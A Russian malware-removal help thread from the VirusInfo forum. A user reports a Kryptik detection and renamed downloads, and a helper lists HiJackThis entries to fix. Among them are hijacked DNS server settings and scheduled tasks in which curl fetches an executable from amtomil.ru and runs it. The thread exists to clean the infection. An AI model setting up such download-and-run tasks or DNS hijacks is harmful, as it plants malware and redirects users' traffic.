Printable View
Здравствуйте. Нод32 периодически стал ругаться на наличие Win32/Kryptik.FYBK. Сегодня заметил что при попытке скачать что-либо с облака майл.ру качается оригинальное название архива (jjrc_h8) с дописанным (bc-aea). В итоге качается файл jjrc_h8-bc-aea.zip размером 1,5 мб.
Скриншот свойств (оригинальное название архива должно было быть jjrc_h8.zip)
[ATTACH=CONFIG]666316[/ATTACH]
Так уже два дня не могу скачать ни одного файла с облака. отчет AutoLogger прикрепляю
Уважаемый(ая) [B]allexdmb[/B], спасибо за обращение на наш форум!
Помощь в лечении комьютера на VirusInfo.Info оказывается абсолютно бесплатно. Хелперы в самое ближайшее время ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитой Autologger, подробнее можно прочитать в [URL="https://virusinfo.info/pravila.html"]правилах оформления запроса о помощи[/URL].
[INFORMATION]Если вы хотите получить персональную гарантированную помощь в приоритетном режиме, то воспользуйтесь платным сервисом [URL="https://virusinfo.info/content.php?r=613-sub_pomogite"]Помогите+[/URL].[/INFORMATION]
Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста [URL="https://virusinfo.info/content.php?r=113-virusinfo.info-donate"]поддержите проект[/URL].
Пофиксите в HiJackThis из папки Autologger
[CODE]O17 - HKLM\System\CSS\Services\Tcpip\..\{85923f4b-8f10-49d8-b429-cb97ce5d5395}: NameServer = 178.132.6.57
O17 - HKLM\System\CSS\Services\Tcpip\..\{85923f4b-8f10-49d8-b429-cb97ce5d5395}: NameServer = 192.168.0.1
O17 - HKLM\System\CSS\Services\Tcpip\..\{85923f4b-8f10-49d8-b429-cb97ce5d5395}: NameServer = 193.238.153.54
O17 - HKLM\System\CSS\Services\Tcpip\..\{85923f4b-8f10-49d8-b429-cb97ce5d5395}: NameServer = 46.101.28.31
O17 - HKLM\System\CSS\Services\Tcpip\..\{85923f4b-8f10-49d8-b429-cb97ce5d5395}: NameServer = 52.56.51.39
O17 - HKLM\System\CSS\Services\Tcpip\..\{85923f4b-8f10-49d8-b429-cb97ce5d5395}: NameServer = 82.202.226.203
O17 - HKLM\System\ControlSet001\Services\Tcpip\..\{85923f4b-8f10-49d8-b429-cb97ce5d5395}: NameServer = 178.132.6.57
O17 - HKLM\System\ControlSet001\Services\Tcpip\..\{85923f4b-8f10-49d8-b429-cb97ce5d5395}: NameServer = 192.168.0.1
O17 - HKLM\System\ControlSet001\Services\Tcpip\..\{85923f4b-8f10-49d8-b429-cb97ce5d5395}: NameServer = 193.238.153.54
O17 - HKLM\System\ControlSet001\Services\Tcpip\..\{85923f4b-8f10-49d8-b429-cb97ce5d5395}: NameServer = 46.101.28.31
O17 - HKLM\System\ControlSet001\Services\Tcpip\..\{85923f4b-8f10-49d8-b429-cb97ce5d5395}: NameServer = 52.56.51.39
O17 - HKLM\System\ControlSet001\Services\Tcpip\..\{85923f4b-8f10-49d8-b429-cb97ce5d5395}: NameServer = 82.202.226.203
O21 - ShellIconOverlayIdentifiers: OneDrive1 - {BBACC218-34EA-4666-9D7A-C78F2274A524} - (no file)
O21 - ShellIconOverlayIdentifiers: OneDrive2 - {5AB7172C-9C11-405C-8DD5-AF20F3606282} - (no file)
O21 - ShellIconOverlayIdentifiers: OneDrive3 - {A78ED123-AB77-406B-9962-2A5D9D2F7F30} - (no file)
O21 - ShellIconOverlayIdentifiers: OneDrive4 - {F241C880-6982-4CE5-8CF7-7085BA96DA5A} - (no file)
O21 - ShellIconOverlayIdentifiers: OneDrive5 - {A0396A93-DC06-4AEF-BEE9-95FFCCAEF20E} - (no file)
O21 - ShellIconOverlayIdentifiers: OneDrive6 - {9AA2F32D-362A-42D9-9328-24A483E2CCC3} - (no file)
O22 - Task (Ready): DuckGo Task - C:\Users\александр\AppData\Local\DuckGo\duckgo.exe (file missing)
O22 - Task (Ready): GoogleUpdateTaskMachineCore - C:\Program Files (x86)\Google\Update\GoogleUpdate.exe /c (file missing)
O22 - Task (Ready): GoogleUpdateTaskMachineUA - C:\Program Files (x86)\Google\Update\GoogleUpdate.exe /ua /installsource scheduler (file missing)
O22 - Task (Ready): curl - C:\Users\8B1D~1\AppData\Roaming\curl\curl_7_54.exe -f -L http://amtomil.ru/f.exe -o C:\Users\8B1D~1\AppData\Roaming\curl\curl.exe (file missing)
O22 - Task (Ready): curls - C:\Users\8B1D~1\AppData\Roaming\curl\curl.exe (file missing)[/CODE][B][color="Red"]Пожалуйста, ЕЩЕ РАЗ запустите Autologger, прикрепите к следующему сообщению НОВЫЕ логи. [/color][/B]
Прилагаю запрошенный лог
Проблема решена?